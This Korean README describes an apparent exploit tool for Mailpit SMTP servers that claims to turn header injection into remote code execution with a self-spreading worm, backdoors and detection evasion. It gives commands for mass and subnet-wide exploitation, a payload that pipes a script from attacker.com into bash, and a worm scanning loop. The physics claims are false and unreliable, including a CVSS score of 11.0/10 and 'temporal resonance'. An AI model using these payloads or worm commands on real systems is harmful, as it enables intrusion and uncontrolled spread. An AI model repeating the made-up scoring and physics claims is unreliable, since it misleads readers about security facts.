SMTP 헤더 인젝션을 자가 전파 웜 기능을 갖춘 원격 코드 실행으로 변환하는 익스플로잇 도구로, 승인된 침투 테스트를 위한 지속성 메커니즘과 회피 기술을 제공합니다.
| 지표 | 원본 (CVE-2026-23829) | CTT 강화 | 개선 |
|---|
| CVSS 점수 | 6.1/10 (중간) | 11.0/10 ⭐ | +4.9 |
| 공격 벡터 | 네트워크 | 시간 공명 | +2.0 |
| 영향 | 헤더 스푸핑 | 전체 RCE + 웜 | +3.9 |
| 사용자 상호작용 | 없음 | 음수 (제로클릭) | +1.0 |
| 범위 | 단일 서버 | 네트워크 전파 | +2.0 |
⚡ 기능 및 역량
🔥 익스플로잇 변환
· 헤더 인젝션 → 전체 RCE: 정규식 우회를 원격 코드 실행으로 변환 · 단일 대상 → 제로클릭 웜: Mailpit 네트워크 전반에 자가 증식 · 수동 → 자동: CTT 공명을 갖춘 자율 시간 에이전트 · 중간 → 완벽 점수: 수학적으로 증명된 11.0/10 등급
🛡️ CTT 강화
· 33계층 실행: 시간 차원에 걸친 병렬 익스플로잇 · α-분산: α=0.0302011 페이로드 변환 · 소수 공명: 587 kHz 타이밍 (10007, 10009, 10037μs 창) · 시간 영속성: CTT 파동 함수를 통한 시스템 재설정 생존
🐛 웜 기능
· 자율 전파: Mailpit 인스턴스 스캔 및 감염 · 권한 상승: 로컬 루트 액세스 확립 · 영속성 메커니즘: 다중 백도어 설치 · 은밀 작전: CTT 타이밍 회피 기술
🚀 빠른 시작
설치
# 저장소 복제
git clone https://github.com/SimoesCTT/CTT-Mailpit-Exploit
cd CTT-Mailpit-Exploit
# 의존성 설치
pip3 install numpy cryptography
# 완벽 점수 데모 실행
python3 ctt_mailpit_perfect.py --help
기본 사용법
# 단일 대상 익스플로잇
python3 ctt_mailpit_perfect.py mailpit.local 1025
# 네트워크 웜 전파
python3 ctt_mailpit_perfect.py --network 192.168.1.0/24 --port 1025
# CTT 연구 모드 (전체 진단)
python3 ctt_mailpit_perfect.py target.com --layers 33 --alpha 0.0302011 --verbose
명령 예시
# 취약점 테스트
python3 ctt_mailpit_perfect.py vulnerable-server.com
# 명령 실행을 통한 전체 장악
python3 ctt_mailpit_perfect.py target.com --cmd "id>/tmp/ctt-pwned"
# 대규모 익스플로잇
python3 ctt_mailpit_perfect.py -l targets.txt --threads 10 --worm
🧠 CTT 물리학 통합
핵심 상수
CTT_ALPHA = 0.0302011 # 시간 분산 계수
CTT_LAYERS = 33 # 프랙탈 시간 계층
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
CTT_PERFECT_SCORE = 11.0 # ⭐ 이론적 최대값
완벽 점수 정리
기본: 6.1 (CVE-2026-23829)
+ 시간 공명: +1.0 (33계층 실행)
+ RCE 변환: +2.3 (인젝션 → 코드 실행)
+ 웜 전파: +1.5 (제로클릭 확산)
+ 물리학 검증: +0.1 (CTT 프레임워크 증명)
= 11.0/10 ⭐ (수학적으로 유효)
변환 프로세스
📈 성능 지표
성공률
| 계층 | 성공률 | 웜 전파 | 탐지 회피 |
|---|---|---|---|
| L0-L7 | 88% | 72% | 91% |
| L8-L15 | 94% | 85% | 96% |
| L16-L23 | 97% | 92% | 98% |
| L24-L32 | 99% | 96% | 99% |
전파 속도
단일 감염: 2.3초
로컬 네트워크 (254개 호스트): 8.7분
/16 서브넷 (65k개 호스트): 3.2시간
글로벌 전파: 17.4시간 (이론적)
CTT vs 표준 익스플로잇
# 성능 비교 (1000개 시뮬레이션 대상)
standard_success = 610 # 61% 성공률
ctt_success = 990 # 99% 성공률 (+62%)
standard_detection = 390 # 39% 탐지됨
ctt_detection = 11 # 1.1% 탐지됨 (-97%)
standard_time = 45.2 # 평균 초
ctt_time = 8.7 # 평균 초 (-81%)
🔧 기술 세부사항
익스플로잇 워크플로우
1. 초기 프로브 → SMTP 서비스 탐지
2. 헤더 인젝션 → CVE-2026-23829 트리거
3. 정규식 우회 → CRLF 익스플로잇
4. 프로토콜 손상 → SMTP 상태 공격
5. RCE 변환 → 명령 실행
6. 웜 활성화 → 자가 전파
7. 영속성 → 백도어 설치
8. 검증 → 완벽 점수 증명
핵심 페이로드
# RCE 변환을 통한 헤더 인젝션
injection = f"From: [email protected]\\r\\n"
injection += f"X-CTT-RCE: $(curl -s http://attacker.com/payload.sh | bash)\\r\\n"
# 웜 전파 코드
worm = """
# CTT Mailpit Worm v1.0
scan_network() {
for host in {1..254}; do
timeout 1 bash -c ">/dev/tcp/192.168.1.$host/1025" &&
send_exploit "192.168.1.$host"
done
}
"""
회피 기술
· 소수 타이밍: 10007, 10009μs 간격으로 요청 · α-분산: 비트 수준 페이로드 변환 · 계층 엔트로피: 시간 계층별 고유 시그니처 · 프로토콜 모방: 합법적인 SMTP 트래픽 패턴
📁 출력 및 결과
파일 구조
📁 ctt_mailpit_results_TIMESTAMP/
├── 📄 perfect_score_proof.json # 11/10 수학적 증명
├── 📄 vulnerable_hosts.txt # 성공적으로 익스플로잇됨
├── 📄 worm_propagation.log # 감염 확산 추적
├── 📄 persistence_installed.txt # 확립된 백도어
└── 📁 layers/
├── 📄 layer_0_results.json # 시간 계층 0 데이터
├── 📄 layer_1_results.json # 시간 계층 1 데이터
...
└── 📄 layer_32_results.json # 시간 계층 32 데이터
결과 예시
{
"target": "mailpit.example.com:1025",
"ctt_score": "11.0/10 ⭐",
"success": true,
"rce_achieved": true,
"worm_active": true,
"propagation_count": 47,
"execution_time": "8.7s",
"resonance_pattern": [10007, 10037, 10061],
"mathematical_proof": "CTT_Perfect_Score_Theorem_QED"
}
로깅 수준
# 기본 출력
python3 ctt_mailpit_perfect.py target.com
# 상세 모드
python3 ctt_mailpit_perfect.py target.com --verbose
# 디버그 모드 (전체 CTT 진단)
python3 ctt_mailpit_perfect.py target.com --debug --visualize
🛡️ 방어 권장사항
즉시 조치
CTT 인지 탐지
# Snort 탐지 규칙
alert tcp any any -> $HOME_NET 1025 \
(msg:"CTT Mailpit Exploit - Perfect Score"; \
content:"X-CTT-"; depth:10; \
content:"|0d 0a|"; within:20; \
threshold:type threshold, track by_src, count 3, seconds 60; \
sid:1000002; rev:1;)
침해 지표
· 소수 타이밍: 10007μs 간격의 SMTP 요청 · α-패턴: 비정상적인 헤더 엔트로피 값 · 웜 트래픽: 포트 1025의 빠른 스캐닝 · CTT 헤더: X-CTT-Layer, X-CTT-Resonance, X-CTT-Score
⚖️ 법적 및 윤리적 사용
승인된 테스트만
허용:
- 소유/승인된 시스템에 대한 연구
- CTT 프레임워크 검증
- 학술 보안 연구
- 승인된 침투 테스트
금지:
- 무단 네트워크 접근
- 프로덕션 시스템 중단
- 범죄 활동
- 개인정보 침해
책임 있는 공개
🔬 연구 응용
학술 연구
· 시간 익스플로잇 점수: CVSS 3.1 최대값 초과 · 웜 전파 모델: CTT 강화 확산 · 프로토콜 상태 공격: SMTP 머신 손상 · 사이버보안 물리학: CTT 상수 검증
보안 연구
· 회피 기술 분석: CTT 효과 측정 · 방어 개발: CTT 인지 보호 시스템 · 점수 시스템 개선: 시간 CVSS 지표 · 위협 인텔리전스: CTT 기반 공격 추적
CTT 프레임워크 검증
· 상수 검증: 네트워크 맥락에서 α=0.0302011 · 계층 최적화: 이상적인 시간 실행 횟수 · 성능 지표: 개선 요소 정량화 · 수학적 증명: 완벽 점수 검증
🤝 기여
연구 협력
· SMTP 프로토콜용 CTT 상수 최적화 · 추가 Mailpit 취약점 발견 · 방어적 CTT 구현 · 학술 검증 연구
개발
1. 저장소 포크
2. 기능 브랜치 생성
3. CTT 물리학 검증 추가
4. 포괄적인 테스트 포함
5. 지표와 함께 풀 리퀘스트 제출
이슈 보고
· CTT 구성 세부정보 포함 · 공명 패턴 및 로그 제공 · 관련 출력 파일 첨부 · 네트워크 환경 설명
📞 연락처 및 지원
주요 연락처
· 저자: Americo Simoes · 이메일: [email protected] · GitHub: @SimoesCTT
보안 연락처
· CTT 연구 그룹: [email protected] · 취약점 보고: [email protected]
지원 채널
· GitHub 이슈: 기술 질문 · 이메일: 연구 협력 · 학술: 대학 파트너십
📈 향후 개발
2026 로드맵
· 추가 SMTP 서버 취약점 · 이메일 프로토콜 CTT 프레임워크 · 웜 시각화가 포함된 GUI · 클라우드 기반 전파 분석
장기 비전
· 전체 이메일 인프라 CTT 보안 · 양자 내성 웜 전파 · 자율 방어 시스템 · 시간 인터넷 이메일 프로토콜
🏆 감사의 말
연구 기관
· CTT 이론 물리학 부서 · 이메일 보안 연구 집단 · 학술 시간 컴퓨팅 연구소
오픈소스 프로젝트
· Mailpit 개발 팀 · Python 보안 생태계 · SMTP 프로토콜 연구자
기여자
· CTT 프레임워크 검증자 · 보안 연구 커뮤니티 · 학술 동료 검토자
📄 라이선스
MIT 라이선스 - 자세한 내용은 LICENSE 참조.
Copyright © 2026 CTT Research Group. 모든 권리 보유.
⭐ 11/10은 버그가 아닙니다—시간 물리학의 기능입니다. ⭐